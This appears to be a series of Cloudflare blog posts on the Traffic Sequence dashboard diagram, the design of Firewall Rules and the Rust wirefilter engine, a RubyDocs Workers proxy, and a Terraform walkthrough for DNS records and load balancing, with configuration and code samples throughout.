To begin addressing this problem, we developed Traffic Sequence_._ Traffic Sequence is a simple dashboard illustration which shows a default, high-level overview of how Cloudflare products interact. Think of this as your atlas, rather than the “Knowledge” all drivers of London's black cabs have to learn. This helps you understand that London is in the south east of the UK, but not that it's quicker to walk than use the London Underground between Leicester Square and Covent Garden.

Traffic Sequence is now enabled for all zones by default, appearing on ten product pages within the dashboard. Traffic Sequence highlights in blue the product area you are currently configuring, showing where within the HTTP request lifecycle the specific product sits. This provides context and allows users to understand which products will see the impact of changes here, and which products will not.

Traffic Sequence is designed to make Cloudflare’s edge clearer to our customers, allowing users to understand how products fit together and understand how HTTP requests flow between each.

Understanding how traffic is routed through Cloudflare has been one of the most common questions from both Cloudflare staff and customers alike.

Is there any blog/documentation which could tell us how a request flows across different Cloudflare Products?

e.g, I know page rules are performed first and then it goes to workers.

But a complete flow is appreciated.

— Ashutosh Kumar (@ashutoshpw) June 10, 2021

But why does it matter? Let's go through a simple example.

Released in April 2021, “Transform Rules” lets users rewrite URLs of HTTP requests as they proxy through their zone — for example, rewriting /login.php to /super/secret/login-page.php, all invisible to the end user.

In this scenario, the administrator also has a Firewall Rule blocking requests to the URI Path /login.php when the visitor is coming from a country other than the United States. What they would see, however, is that visitors from these other countries are still reaching the /login.php page on their servers. Why is this?

This is because URL rewrites happen before Firewall Rules, meaning the Firewall Rules product won’t see a URI Path of /login.php. Instead it will see HTTP requests with the rewritten URI path of /super/secret/login-page.php. Thus, when Firewall Rules evaluates the customers rule it checks:

1. Is this from a country that is not the USA? Yes

2. AND - Is this request going to a URI Path of /login.php? No.

As both criteria are not evaluated as ‘true’,  the rule does not match and the traffic is allowed on its journey.

This is why it is so important to know how Cloudflare's products interoperate to get the most out of your plan, and achieve your goals without having to dig through mountains of documentation.

In an alternate timeline, Traffic Sequence is used to highlight that Firewall Rules run after URL rewriting occurs, and therefore see’s the rewritten value in the URI Path. With this information the customer can then configure a Firewall Rule to look for the rewritten value in URI Path and accomplish their desired setup.

Traffic Sequence was originally borne out of a “back of the napkin” idea during the creation of Transform Rules and URL Normalization, in an attempt to show where these transformations were happening:

The idea might have started from a need of our own, but it ended up addressing well known customer and internal problems: whenever we build a new product everyone wants to understand how it fits into the big picture. So we pushed the idea further, proposing it to other teams and soliciting feedback.

This project was a great example of how bringing the right level of fidelity of thinking to the table can be evolved into an opportunity to ship to learn. Something that was initially meant as an explainer diagram for one rule type has become an almost bespoke experience of the dashboard, as it is unique to each customer's Cloudflare environment, displaying only the products available for use in that zone. We offer many options and routes to products, but we didn’t have a straightforward flow of information that customers can rely on, focusing only on what they have set up and have access to.

As part of the design process, we try to focus on asking lots of questions rather than just finding an answer. Some of the considerations we had were:

• What if we show customers a product they aren’t using?

• What if we show customers a product they aren’t entitled to on their plan level?

• Why aren’t we showing “this product”?

• Do we have this visualisation on by default?

After gaining internal momentum to flesh out this project, we decided to focus on three areas:

1. Simplifying a complex ecosystem – what is a useful simplification?

2. Value that this will add beyond this first application

3. Opportunity to test out different navigation and mental models.

After all, this is not just a map of our system, but a new way of navigating it entirely.

Positive early internal feedback not only aligned with our goals, but allowed us to iterate on points that needed improvement. We knew that this could be a game-changer for promoting clarity, improving discoverability and saving time with navigation: going for one click instead of three for most items.

A couple of iterations later, we were ready to put this in the hands of our users for early testing:

Ever wondered how traffic is handled by our various products when configuring your @Cloudflare zone? You arent alone. We hear you. If you are interested in trying our latest experiment, get in touch. We’d LOVE your feedback. #Cloudflare pic.twitter.com/mh906T0JxV

— Sam Marsh (@marshnet_social) July 16, 2021

Thanks to our incredible community we had a high level of interest in the first week, providing insight into how this feature would be used in the real world, and answering the ultimate question of this experiment: “Does this solve the problem of understanding how Cloudflare handles HTTP requests?”  via our Traffic Sequence survey form:

• “I didn't know where my requests were going... until now.”

• “It's always been confusing which products/features affect which other products/features.”

• “It's really handy to be able to explain the ordering that these are happening in, and I like the deeplink into the relevant area.”

These were all a great reminder that what triggered this work was ingrained in real customer needs.

Other feedback was rapidly incorporated into the prototype; specifically splitting Transform Rules into two separate sections to highlight that URL rewrites and header modifications occur at different parts of the request flow. We also added features which our users deemed important for clarity, such as IP Access Rules.

Thanks to the great feedback and participation of all testers, both internal and external, we are now in a position where we are comfortable to take the covers off and make Traffic Sequence available to all users.

The visualisation can be hidden easily by clicking on the “hide” button, and the display automatically hides to preserve critical whitespace when needed:

When new products are added, or updates to products occur which modify the traffic order, this diagram will be updated accordingly.

We know this is a high level, generic overview of how Cloudflare products interact. There is a level of nuance underneath, and a number of products and features not shown in the Traffic Sequence illustration which play an important part in keeping users safe and secure.

In the future we have aspirations to build “the other side of the coin”. Traffic Sequence provides a simple to understand view of how the products work by default at a high level. We also want to create a detailed, almost traceroute-like feature which allows users to see exactly what happens to their traffic — which products it goes via and what happens within those products, and potentially a lot more. Stay tuned!

This feature is now enabled by default on all customer zones, and is visible within the dashboard locations outlined above.

Please do try it out and let us know what you think via the Cloudflare Community

Recently we launched Firewall Rules, a new feature that allows you to construct expressions that perform complex matching against HTTP requests and then choose how that traffic is handled. As a Firewall feature you can, of course, block traffic. The expressions we support within Firewall Rules along with powerful control over the order in which they are applied allows complex new behaviour.

In this blog post I tell the story of Cloudflare’s Page Rules mechanism and how Firewall Rules came to be. Along the way I’ll look at the technical choices that led to us building the new matching engine in Rust.

Cloudflare offers two types of firewall for web applications, a managed firewall in the form of a WAF where we write and maintain the rules for you, and a configurable firewall where you write and maintain rules. In this article, we will focus on the configurable firewall.

One of the earliest Cloudflare firewall features was the IP Access Rule. It dates backs to the earliest versions of the Cloudflare Firewall and simply allows you to block traffic from specific IP addresses:

if request IP equals 203.0.113.1 then block the request

As attackers and spammers frequently launched attacks from a given network we also introduced the ASN matching capability:

if request IP belongs to ASN 64496 then block the request

We also allowed blocking ranges of addresses defined by CIDR notation when an IP was too specific and an ASN too broad:

if request IP is within 203.0.113.0/24 then block the request

Blocking is not the only action you might need and so other actions are available:

• Allowlist = apply no other firewall rules and allow the request to pass this part of the firewall

• Challenge = issue a CAPTCHA and if this is passed then allow the request but otherwise deny. This would be used to determine if the request came from a human operator

• JavaScript challenge = issue an automated JavaScript challenge and if this is passed then allow the request. This would be used to determine if the request came from a simple stateless bot (perhaps a wget or curl script)

• Block = deny the request

Cloudflare also has Page Rules. Page Rules allow you to match full URIs and then perform actions such as redirects or to raise the security level which can be considered firewall functions:

if request URI matches /nullroute then redirect to http://127.0.0.1

Cloudflare also added GeoIP information within an HTTP header and the firewall was extended to include that:

if request IP originates from county GB then CAPTCHA the request

All of the above existed in Cloudflare pre-2014, and then during 2016 we set about to identify the most commonly requested firewall features (according to Customer Support tickets and feedback from paying customers) and provide a self-service solution. From that analysis, we added three new capabilities during late 2016: Rate Limiting, User Agent Rules, and Zone Lockdown.

Whilst Cloudflare automatically stops very large denial of service attacks, rate limiting allowed customers to stop smaller attacks that were a real concern to them but were low enough volume that Cloudflare’s DDoS defences were not being applied.

if request method is POST and request URI matches /wp-admin/index.php and response status code is 403 and more than 3 requests like this occur in a 15 minute time period then block the traffic for 2 hours

User Agent rules are as simple as:

if request user_agent is `Fake User Agent` then CAPTCHA the request

Zone Lockdown, however was the first default deny feature. The Cloudflare Firewall could be thought of as “allow all traffic, except where a rule exists to block it”. Zone Lockdown is the opposite “for a given URI, block all traffic, except where a rule exists to allow it”.

Zone Lockdown allowed customers could to block access to a public website for all but a few IP addresses or IP ranges. For example, many customers wanted access to a staging website to only be available to their office IP addresses.

if request URI matches https://staging.example.com/ and request IP not in 203.0.113.0/24 then block the request

Finally, an Enterprise customer could also contact Cloudflare and have a truly bespoke rule created for them within the WAF engine.

The firewall worked well for simple mitigation, but it didn’t fully meet the needs of our customers.

Each of the firewall features had targeted a single attribute, and the interfaces and implementations reflected that. Whilst the Cloudflare Firewall had evolved to solve a problem as each problem arose, these did not work together. In late 2017 you could sum up the firewall capabilities as:

You can block any attack traffic on any criteria, so long as you only pick one of:

• IP

• CIDR

• ASN

• Country

• User Agent

• URI

We saw the problem, but how to fix it?

We match our firewall rules in two ways:

• Lookup matching

• String pattern matching

Lookup matching covers the IP, CIDR, ASN, Country and User Agent rules. We would create a key in our globally distributed key/value data store Quicksilver, and store the action in the value:

Key   = zone:www.example.com_ip:203.0.113.1
Value = block

When a request for www.example.com is received, we look at the IP address of the client that made the request, construct the key and perform the lookup. If the key exists in the store, then the value would tell us what action to perform, in this case if the client IP were 203.0.113.1 then we would block the request.

Lookup matching is a joy to work with, it is O(1) complexity meaning that a single request would only perform a single lookup for an IP rule regardless of how many IP rules a customer had. Whilst most customers had a few rules, some customers had hundreds of thousands of rules (typically created automatically by combining fail2ban or similar with a Cloudflare API call).

Lookups work well when you are only looking up a single value. If you need to combine an IP and a User Agent we would need to produce keys that composed these values together. This massively increases the number of keys that you need to publish.

String pattern matching occurs where URI matching is required. For our Page Rules feature this meant combining all of the Page Rules into a single regular expression that we would apply to the request URI whilst handling a request.

If you had Page Rules that said (in order):

• Match */wp-admin/index.php and then block

• Then match */xmlrpc.php and then block

These are converted into:

^(?<block__1>(?:.*/wp-admin/index.php))|(?<block__2>(?:.*/xmlrpc.php))$

Yes, you read that correctly. Each Page Rule was appended to a single regular expression in the order of execution, and the naming group is used as an overload for the desired action.

This works surprisingly well as regular expression matching can be simple and fast especially when the regular expression matches against a single value like the URI, but as soon as you want to match the URI plus an IP range it becomes less obvious how to extend this.

This is what we had, a set of features that worked really well providing you want to match a single property of a request. The implementation also meant that none of these features could be trivially extended to embrace multiple properties at a time. We needed something else, a fast way to compute if a request matches a rule that could contain multiple properties as well as pattern matching.

Over time Cloudflare engineers authored internal posts exploring how a new matching engine might work. The first thing that occurred to every engineer was that the matching must be an expression. These ideas followed a similar approach which we would construct an expression within JSON as a DSL (Domain Specific Language) of our expression language. This DSL could describe matching a request and a UI could render this, and a backend could process it.

Early proposals looked like this:

{
  "And": [
    {
      "Equals"{
        "host": "www.example.com"
      }
    },
    "Or": [
      {
        "Regex": {
          "path": "^(?: .*/wp-admin/index.php)$"
        }
      }{
        "Regex": {
          "path": "^(?: .*/xmlrpc.php)$"
        }
      }
    ]
  ]
}

The JSON describes an expression that computers can easily turn into a rule to apply, but people find this hard to read and work with.

As we did not wish to display JSON like this in our dashboard we thought about how we might summarise it for a UI:

if request host equals www.example.com and (request path matches ^(?:.*/wp-admin/index.php)$ or request path matches ^(?:.*/xmlrpc.php)$)

And there came an epiphany. As engineers working we’ve seen an expression language similar to this before, so may I introduce to you our old friend Wireshark®.

Wireshark is a network protocol analyzer. To use it you must run a packet capture to record network traffic from a capture device (usually a network card). This is then saved to disk as a .pcap file which you subsequently open in the Wireshark GUI. The Wireshark GUI has a display filter entry box, and when you fill in a display filter the GUI will dissect the saved packet capture such that it will determine which packets match the expression and then show those in the GUI.

But we don’t need to do that. In fact, for our scenario that approach does not work as we have a firewall and need to make decisions in real-time as part of the HTTP request handling rather than via the packet capture process.

For Cloudflare, we would want to use something like the expression language that is the Wireshark Display Filters but without the capture and dissection as we would want to do this potentially thousands of times per request without noticeable delay.

If we were able to use a Wireshark-style expression language then we can reduce the JSON encapsulated expression above to:

http.host eq "www.example.com" and (http.request.path ~ "wp-admin/index\.php" or http.request.path ~ "xmlrpc.php")

This is human readable, machine parseable, succinct.

It also benefits from being highly similar to Wireshark. For security engineers used to working with Wireshark when investigating attacks it offers a degree of portability from an investigation tool to a mitigation engine.

To make this work we would need to collect the properties of the request into a simple data structure to match the expressions against. Unlike the packet capture approach we run our firewall within the context of an HTTP server and the web server has already computed the request properties, so we can avoid dissection and populate the fields from the web server knowledge:

session=8521F670545D7865F79C3D7BED C29CCE;-background=light

www.example.com

GET

/articles/index?section=539061&expand=comments

/articles/index

section=539061&expand=comments

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36

203.0.113.1

64496

GB

true

With a table of HTTP request properties and an expression language that can provide a matching expression we were 90% of the way towards a solution! All we needed for the last 90% was the matching engine itself that would provide us with an answer to the question: Does this request match one of the expressions?

Enter wirefilter.

Wirefilter is the name of the Rust library that Cloudflare has created, and it provides:

• The ability for Cloudflare to define a set of fields of types, i.e. ip.src is a field of type IPAddress

• The ability to define a table of properties from all of the fields that are defined

• The ability to parse an expression and to say whether it is syntactically valid, whether the fields in the expression are valid against the fields defined, and whether the operators used for a field are valid for the type of the field

• The ability to apply an expression to a table and return a true|false response indicating whether the evaluated expression matches the request

It is named wirefilter as a hat tip towards Wireshark for inspiring our Wireshark-like expression language and also because in our context of the Cloudflare Firewall these expressions act as a filter over traffic.

The implementation of wirefilter allows us to embed this matching engine within our REST API which is written in Go:

// scheme stores the list of fields and their types that an expression can use
var scheme = filterexpr.Scheme{
	"http.cookie":                     filterexpr.TypeString,
	"http.host":                       filterexpr.TypeString,
	"http.referer":                    filterexpr.TypeString,
	"http.request.full_uri":           filterexpr.TypeString,
	"http.request.method":             filterexpr.TypeString,
	"http.request.uri":                filterexpr.TypeString,
	"http.request.uri.path":           filterexpr.TypeString,
	"http.request.uri.query":          filterexpr.TypeString,
	"http.user_agent":                 filterexpr.TypeString,
	"http.x_forwarded_for":            filterexpr.TypeString,
	"ip.src":                          filterexpr.TypeIP,
	"ip.geoip.asnum":                  filterexpr.TypeNumber,
	"ip.geoip.country":                filterexpr.TypeString,
	"ssl":                             filterexpr.TypeBool,
}

Later we validate expressions provided to the API:

// expression here is a string that may look like:
// `ip.src eq 203.0.113.1`
expressionHash, err := filterexpr.ValidateFilter(scheme, expression)
if fve, ok := err.(*filterexpr.ValidationError); ok {
	validationErrs = append(validationErrs, fve.Ascii)
} else if err != nil {
	return nil, stderrors.Errorf("failed to validate filter: %v", err)
}

This tells us whether the expression is syntactically correct and also whether the field operators and values match the field type. If the expression is valid then we can use the returned hash to determine uniqueness (the hash is generated inside wirefilter so that uniqueness can ignore blanks and minor differences).

The expressions are then published to our global network of PoPs and are consumed by Lua within our web proxy. The web proxy has the same list of fields that the API does, and is now responsible for building the table of properties from the context within the web proxy:

-- The `traits` table defines the mapping between the fields and
-- the corresponding values from the nginx evaluation context.
local traits = {
   ['http.host'] = field.str(function(ctx) return ctx.host end),
   ['http.cookie'] = field.str(function(ctx)
      local value = ctx.req_headers.cookie or ''
      if type(value) == 'table' then
         value = table.concat(value, ";")
      end
      return value
   end),
   ['http.referer'] = field.str(function(ctx) return ctx.req_headers.referer or '' end),
   ['http.request.method'] = field.str(function(ctx) return ctx.method end),
   ['http.request.uri'] = field.str(function(ctx)
      return ctx.rewrite_uri or ctx.request_uri
   end),
   ['http.request.uri.path'] = field.str(function(ctx)
      return ctx.uri or '/'
   end),
   ...

With this per-request table describing a request we can see test the filters. In our case what we’re doing here is:

• Fetch a list of all the expressions we would like to match against the request

• Check whether any expression, when applied via wirefilter to the table above, return true as having matched

• For all matched expressions check the associated actions and their priority

The actions are not part of the matching itself. Once we have a list of matched expressions we determine which action takes precedence and that is the one that we will execute.

Wirefilter then, is a generic library that provides this matching capability that we’ve plugged into our Go APIs and our Lua web proxy, and we use that to power the Cloudflare Firewall.

We chose Rust for wirefilter as early in the project we recognised that if we attempted to make implementations of this in Go and Lua, that it would result in inconsistencies that attackers may be able to exploit. We needed our API and edge proxy to behave exactly the same. For this needed a library, both could call and we could choose one of our existing languages at the edge like C, C++, Go, Lua or even implement this not as a library but as a worker in JavaScript. With a mixed set of requirements of performance, memory safety, low memory use, and the capability to be part of other products that we’re working on like Spectrum, Rust stood out as the strongest option.

With a library in place and the ability to now match all HTTP traffic, how to get that to a public API and UI without diluting the capability? The problems that arose related to specificity and mutual exclusion.

In the past all of our firewall rules had a single dimension to them: i.e. act on IP addresses. And this meant that we had a single property of a single type and whilst there were occasionally edge cases for the most part there were strategies to answer the question “Which is the most specific rule?”. I.e. an IP address is more specific then a /24 which is more specific than a /8. Likewise with URI matching an overly simplistic strategy is that the longer a URI the more specific it is. And if we had 2 IP rules, then only 1 could ever have matched as a request does not come from 2 IPs at once so mutual exclusion is in effect.

The old system meant that given 2 rules, we could implicitly and trivially say “this rule is most specific so use the action associated with this rule”.

With wirefilter powering Firewall Rules, it isn’t obvious that an IP address is more or less specific when compared to a URI. It gets even more complex when a rule can have negation, as a rule that matches a /8 is less specific than a rule that does not match a single IP (the whole address space except this IP - one of the gotchas of Firewall Rules is also a source of it’s power; you can invert your firewall into a positive security model.

As we couldn’t answer specificity using the expression alone, we needed another aspect of the Firewall Rule to provide us this guidance and we realised that customers already had a mechanism to tell us which rules were important… the action.

Given a set of rules, we logically have ordered them according to their action (Log has highest priority, Block has lowest):

1. Log

2. Allow

3. Challenge (CAPTCHA)

4. JavaScript Challenge

5. Block

For the vast majority of scenarios this proves to be good enough.

What about when that isn’t good enough though? Do we have examples of complex configuration that break that approach? Yes!

Because the expression language within Firewall Rules is so powerful, and we can support many Firewall Rules, it means that we can now create different firewall configuration for different parts of a web site. i.e. /blog could have wholly different rules than /shop, or for different audiences, i.e. visitors from your office IPs might be allowed on a given URI but everyone else trying to access that URI may be blocked.

In this scenario you need the ability to say “run all of these rules first, and then run the other rules”.

In single machine firewalls like iptables, OS X Firewall, or your home router firewall, the firewall rules were explicitly ordered so that when you match the first rule it terminates execution and you won’t hit the next rule. When you add a new rule the entire set of rules is republished and this helps to guarantee this behaviour. But this approach does not work well for a Cloud Firewall as a large website with many web applications typically also has a large number of firewall rules. Republishing all of these rules in a single transaction can be slow and if you are adding lots of rules quickly this can lead to delays to the final state being live.

If we published individual rules and supported explicit ordering, we risked race conditions where two rules that both were configured in position 4 might exist at the same time and the behaviour if they matched the request would be non-determinable.

We solved this by introducing a priority value, where 1 is the highest priority and as an int32 you can create low priority rules all the way down to priority = 2147483647. Not providing a priority value is the equivalent of “lowest” and runs after all rules that have a priority.

Priority does not have to be a unique value within Firewall Rules. If two rules are of equal priority then we resort to the order of precedence of the actions as defined earlier.

This provides us a few benefits:

1. Because priority allows rules that share a priority to exist we can publish rules 1 at a time… when you add a new rule the speed at which we deploy that globally is not affected by the number of rules you already have.

2. If you do have existing rules in a system that does sequentially order the rules, you can import those into Firewall Rules and preserve their order, i.e. this rule should always run before that rule.

3. But you don’t have to use priority exclusively for ordering as you can also use priority for grouping. For example you may say that all spammers are priority=10000 and all trolls are priority = 5000.

Finally… let’s look at those fields again, http.request.path notice that http prefix? By following the naming convention Wireshark has (see their Display Filter Reference) we have not limited this firewall capability solely to a HTTP web proxy. It is a small leap to imagine that if a Spectrum  application declares itself as running SMTP that we could also define fields that understand SMTP and allow filtering of traffic on other application protocols or even at layer 4.

What we have built in Firewall Rules gives us these features today:

• Rich expression language capable of targeting traffic precisely and in real-time

• Fast global deployment of individual rules

• A lot of control over the management and organisation of Firewall Rules

And in the future, we have a product that can go beyond HTTP and be a true Cloud Firewall for all protocols…the Cloudflare Firewall with Firewall Rules.

The following is a guest post from Manuel Meurer, Berlin based web developer, entrepreneur, and Ruby on Rails enthusiast. In 2010, he founded Kraut Computing as a one-man web dev shop and launched Uplink, a network for IT experts in Germany, in 2015.

RubyDocs is an open-source service that generates and hosts “fancy docs for any Ruby project”, most notably for the Ruby language itself and for Rails, the most popular Ruby framework. The nifty thing about it is that the docs can be generated for any version of a project — so let’s say you’re working on an old Rails app that still uses version 3.2.22 (released June 16, 2015), then you can really benefit from having access to the docs of that specific version, since a lot of the methods, classes, and concepts of the current Rails version (5.2.1 at the time of writing) don’t exist in that old version.

I built RubyDocs back in 2013 to scratch my own itch — a few similar services that I had used over the years had disappeared or hadn’t been regularly updated. After the initial work to get RubyDocs up and running, I continued improving a few small things over the years, such as updating dependencies and adding new projects that were submitted by users. But by and large, the site was (and is) running on autopilot, updating the list of versions for each project automatically from GitHub tags and generating new docs as users request them. One thing I had always wanted to do was to move the hosted docs from a subdomain (docs.rubydocs.org) to a subpath on the main domain (e.g., rubydocs.org/docs). I had put them on the subdomain to be able to use a CDN with long expiration times, since the docs are mostly static HTML and CSS with a bit of JavaScript sprinkled in. But for SEO reasons (AFAIK it’s still better to have everything on the main domain), and for a more coherent experience when using the site, I wanted everything on one domain. But I could never figure out how to run the RubyDocs app itself (built with Rails, of course) on rubydocs.org and still get all the advantages of a CDN for a subpath…

Fast forward to September 2017 when I read about Cloudflare Workers for the first time. I was already a heavy user of Cloudflare for their DNS, CDN and DDoS mitigation and was always astonished by the amount of high-quality services they were offering for free. And now they basically added a serverless platform on top of that for $5 per month? You really have to admire their dedication to making their stuff available to as many people as possible for as low a price as possible.

For a few months, I kept thinking about what I could use the Workers for until it hit me — they could be the perfect tool to proxy requests from a subpath to a subdomain! I wouldn’t have to change the RubyDocs server/CDN setup at all, just add a Worker that does the proxying and a Page Rule to redirect all traffic from the subdomain to the new subpath. I got in touch with Cloudflare support to confirm that this was indeed possible (and a proper use of their Workers) and since RubyDocs is open-source, they even offered to sponsor the workers!

While I was working on the Worker (no pun intended), an issue in the RubyDocs GitHub repo popped up — it turned out I had inadvertently broken a few URLs with a faulty regex, which was quickly fixed (Worker scripts can be edited in the Cloudflare backend and when saved, the live site is updated within seconds). But the author of the issue also mentioned that someone had apparently created a DuckDuckGo bang for RubyDocs. Sweet, I didn’t even know they existed!

For this bang to really be useful, it was necessary to have a URL that always points to the latest version of a project’s docs, i.e. something like rubydocs.org/d/ruby-latest/ (which now works), and update automatically when a new version is released. Well, I thought to myself, if that isn’t another perfect use case for a Worker! But wait, how does the Worker know which version is the latest? We could include the data in the Worker script and update it periodically, but as the number of projects on RubyDocs grows, the script would grow as well — probably not to an unmanageable size, but it still didn’t feel like a clean solution. The Worker could also make a quick subrequest to ask the main RubyDocs Rails app for the latest version when a request is processed, but that would mean setting up an API and monitoring the performance of the endpoint, and it would most likely severely slow down these ‘latest’ requests.

And as if someone at Cloudflare had been waiting for me to ponder this problem, they launched Cloudflare KV, a key-value store that can be written to via the Cloudflare API and read from within a Worker. I was dumbfounded by the coincidence. It was very obviously the best way to solve my problem — store the latest version of each project from the RubyDocs Rails app every time a new version is detected, and read it from the Worker script when a ‘latest’ request comes in.

Long story short: here is the resulting Worker script (also on GitHub) and after a bit of fiddling (mostly due to my inexperience with JavaScript), everything is working smoothly.

addEventListener('fetch', event => {
  event.respondWith(handleRequest(event.request))
})

async function handleRequest(request) {
  const match = request.url.match(/\/d\/([^?]+)(\?.+)?/);
  let fetchable;

  if (match) {
    let doc   = match[1];
    let query = match[2] || '';

    // Redirect to latest if necessary.
    latestMatch = doc.match(/^([^/]+)-latest/);
    if (latestMatch) {
      const latest = await LATEST.get(latestMatch[1]);
      let newUrl = request.url.replace(/[^/]+-latest/, latest);
      return Response.redirect(newUrl, 302);
    }

    // Redirect to URL with trailing slash if necessary.
    if (!doc.includes('/')) {
      let newUrl = request.url.replace(doc, doc + '/');
      return Response.redirect(newUrl, 301);
     }

    if (doc.endsWith('/'))
      doc += 'index.html';
    fetchable = `http://d3eo0xoa109f6x.cloudfront.net/${doc}${query}`;
  } else {
    fetchable = request;
  }

  const response = await fetch(fetchable);
  return response;
}

NOTE: LATEST is the name of the author's KV namespace and is not a default for Workers KV

I have submitted a request to DuckDuckGo to use the new ‘latest’ URLs for the !rubydocs and !rb bangs, but so far they still forward to an older version.

Many thanks to Cloudflare for supporting RubyDocs and, more importantly, building a better Internet for all of us!

We covered installing Terraform, provider initialization, storing configuration in git, applying zone settings, and managing rate limits. This post continues the Cloudflare Terraform provider walkthrough with examples of load balancing, page rules, reviewing and rolling back configuration, and importing state.

Before we build on Part 1, let's quickly review what we configured in that post. Because our configuration is in git, we can easily view the current configuration and change history that got us to this point.

$ git log
commit e1c38cf6f4230a48114ce7b747b77d6435d4646c
Author: Me
Date:   Mon Apr 9 12:34:44 2018 -0700

    Step 4 - Update /login rate limit rule from 'simulate' to 'ban'.

commit 0f7e499c70bf5994b5d89120e0449b8545ffdd24
Author: Me
Date:   Mon Apr 9 12:22:43 2018 -0700

    Step 4 - Add rate limiting rule to protect /login.

commit d540600b942cbd89d03db52211698d331f7bd6d7
Author: Me
Date:   Sun Apr 8 22:21:27 2018 -0700

    Step 3 - Enable TLS 1.3, Always Use HTTPS, and SSL Strict mode.

commit 494c6d61b918fce337ca4c0725c9bbc01e00f0b7
Author: Me
Date:   Sun Apr 8 19:58:56 2018 -0700

    Step 2 - Ignore terraform plugin directory and state file.

commit 5acea176050463418f6ac1029674c152e3056bc6
Author: Me
Date:   Sun Apr 8 19:52:13 2018 -0700

    Step 2 - Initial commit with webserver definition.

We'll get into more detail about reviewing and rolling back to prior versions of configuration later in this post, but for now let's review the current version.

In lines 1-4 below, we configured the Cloudflare Terraform provider. Initially we stored our email address and API key in the cloudflare.tf file, but for security reasons we removed them before committing to a git repository.

In lines 6-8, we define a variable that can be interpolated into resources definitions. Terraform can be used to mass configure multiple zones through the use of variables, as we'll explore in a future post.

Lines 10-16 tell Cloudflare to create a DNS A record for www.${var.domain} using IP address 203.0.113.10. Later in this post, we'll explore adding a second web server and load balancing between the two origins.

Lines 18-26 apply zone-wide settings and lines 28-54 define a rate limiting rule to protect against credential stuffing and other brute force attacks.

$ cat -n cloudflare.tf 
     1	provider "cloudflare" {
     2	  # email pulled from $CLOUDFLARE_EMAIL
     3	  # token pulled from $CLOUDFLARE_TOKEN
     4	}
     5	
     6	variable "domain" {
     7	  default = "example.com"
     8	}
     9	
    10	resource "cloudflare_record" "www" {
    11	  domain  = "${var.domain}"
    12	  name    = "www"
    13	  value   = "203.0.113.10"
    14	  type    = "A"
    15	  proxied = true
    16	}
    17	
    18	resource "cloudflare_zone_settings_override" "example-com-settings" {
    19	  name = "${var.domain}"
    20	
    21	  settings {
    22	    tls_1_3 = "on"
    23	    automatic_https_rewrites = "on"
    24	    ssl = "strict"
    25	  }
    26	}
    27	
    28	resource "cloudflare_rate_limit" "login-limit" {
    29	  zone = "${var.domain}"
    30	
    31	  threshold = 5
    32	  period = 60
    33	  match {
    34	    request {
    35	      url_pattern = "${var.domain}/login"
    36	      schemes = ["HTTP", "HTTPS"]
    37	      methods = ["POST"]
    38	    }
    39	    response {
    40	      statuses = [401, 403]
    41	      origin_traffic = true
    42	    }
    43	  }
    44	  action {
    45	    mode = "ban"
    46	    timeout = 300
    47	    response {
    48	      content_type = "text/plain"
    49	      body = "You have failed to login 5 times in a 60 second period and will be blocked from attempting to login again for the next 5 minutes."
    50	    }
    51	  }
    52	  disabled = false
    53	  description = "Block failed login attempts (5 in 1 min) for 5 minutes."
    54	}

Thanks to the rate limiting set up in part 1, our login page is protected against credential brute force attacks. Now it's time to focus on performance and reliability. Imagine organic traffic has grown for your web server, and this traffic is increasingly global. It’s time to spread these requests to your origin over multiple data centers.

Below we'll add a second origin for some basic round robining, and then use the Cloudflare Load Balancing product to fail traffic over as needed. We'll then enhance our load balancing configuration through the use of "geo steering" to serve results from an origin server that is geographically closest to your end users.

To get started, we'll add a DNS record for a second web server, which is located in Asia. The IP address for this server is 198.51.100.15.

$ git checkout -b step5-loadbalance
Switched to a new branch 'step5-loadbalance'

$ cat >> cloudflare.tf <<'EOF'
resource "cloudflare_record" "www-asia" {
  domain  = "${var.domain}"
  name    = "www"
  value   = "198.51.100.15"
  type    = "A"
  proxied = true
}
EOF

Note that while the name of the resource is different as Terraform resources of the same type must be uniquely named, the DNS name, i.e., what your customers will type in their browser, is the same: "www".

Below we'll check the terraform plan, merge and apply the changes.

$ terraform plan | grep -v "<computed>"
...
Terraform will perform the following actions:

  + cloudflare_record.www-asia
      domain:      "example.com"
      name:        "www"
      proxied:     "true"
      type:        "A"
      value:       "198.51.100.15"


Plan: 1 to add, 0 to change, 0 to destroy.

$ git add cloudflare.tf
$ git commit -m "Step 5 - Add additional 'www' DNS record for Asia data center."
[step5-loadbalance 6761a4f] Step 5 - Add additional 'www' DNS record for Asia data center.
 1 file changed, 7 insertions(+)

$ git checkout master
Switched to branch 'master'

$ git merge step5-loadbalance 
Updating e1c38cf..6761a4f
Fast-forward
 cloudflare.tf | 7 +++++++
 1 file changed, 7 insertions(+)

Let's add the second DNS record for www.example.com:

$ terraform apply --auto-approve
...
cloudflare_record.www-asia: Creating...
  created_on:  "" => "<computed>"
  domain:      "" => "example.com"
  hostname:    "" => "<computed>"
  metadata.%:  "" => "<computed>"
  modified_on: "" => "<computed>"
  name:        "" => "www"
  proxiable:   "" => "<computed>"
  proxied:     "" => "true"
  ttl:         "" => "<computed>"
  type:        "" => "A"
  value:       "" => "198.51.100.15"
  zone_id:     "" => "<computed>"
cloudflare_record.www-asia: Creation complete after 1s (ID: fda39d8c9bf909132e82a36bab992864)

Apply complete! Resources: 1 added, 0 changed, 0 destroyed.

With the second DNS record in place, let's try making some requests to see where the traffic is served from:

$ curl https://www.example.com
Hello, this is 203.0.113.10!

$ curl https://www.example.com
Hello, this is 203.0.113.10!

$ curl https://www.example.com
Hello, this is 198.51.100.15!

$ curl https://www.example.com
Hello, this is 203.0.113.10!

As you can see above, there is no discernible pattern for which origin receives the request. When Cloudflare connects to an origin with multiple DNS records, one of the IP addresses is selected at random. If both of these IPs are in the same data center and sessions can be shared (i.e., it doesn't matter if the same user hops between origin servers), this may work fine. However, for anything more complicated such as origins in different geographies or active health checks, you're going to want to use Cloudflare's Load Balancing product.

Before proceeding, make sure that your account is enabled for Load Balancing. If you're on an Enterprise plan, you should ask your Customer Success Manager to do this; otherwise, you can subscribe to Load Balancing within the Cloudflare Dashboard.

As described in the load balancing tutorial on the Cloudflare Support site, you will need to do three things:

i. Create a monitor to run health checks against your origin servers. ii. Create a pool of one or more origin servers that will receive load balanced traffic. iii. Create a load balancer with an external hostname, e.g., www.example.com, and one or more pools. iv. Preview and merge the changes. v. Test the changes.

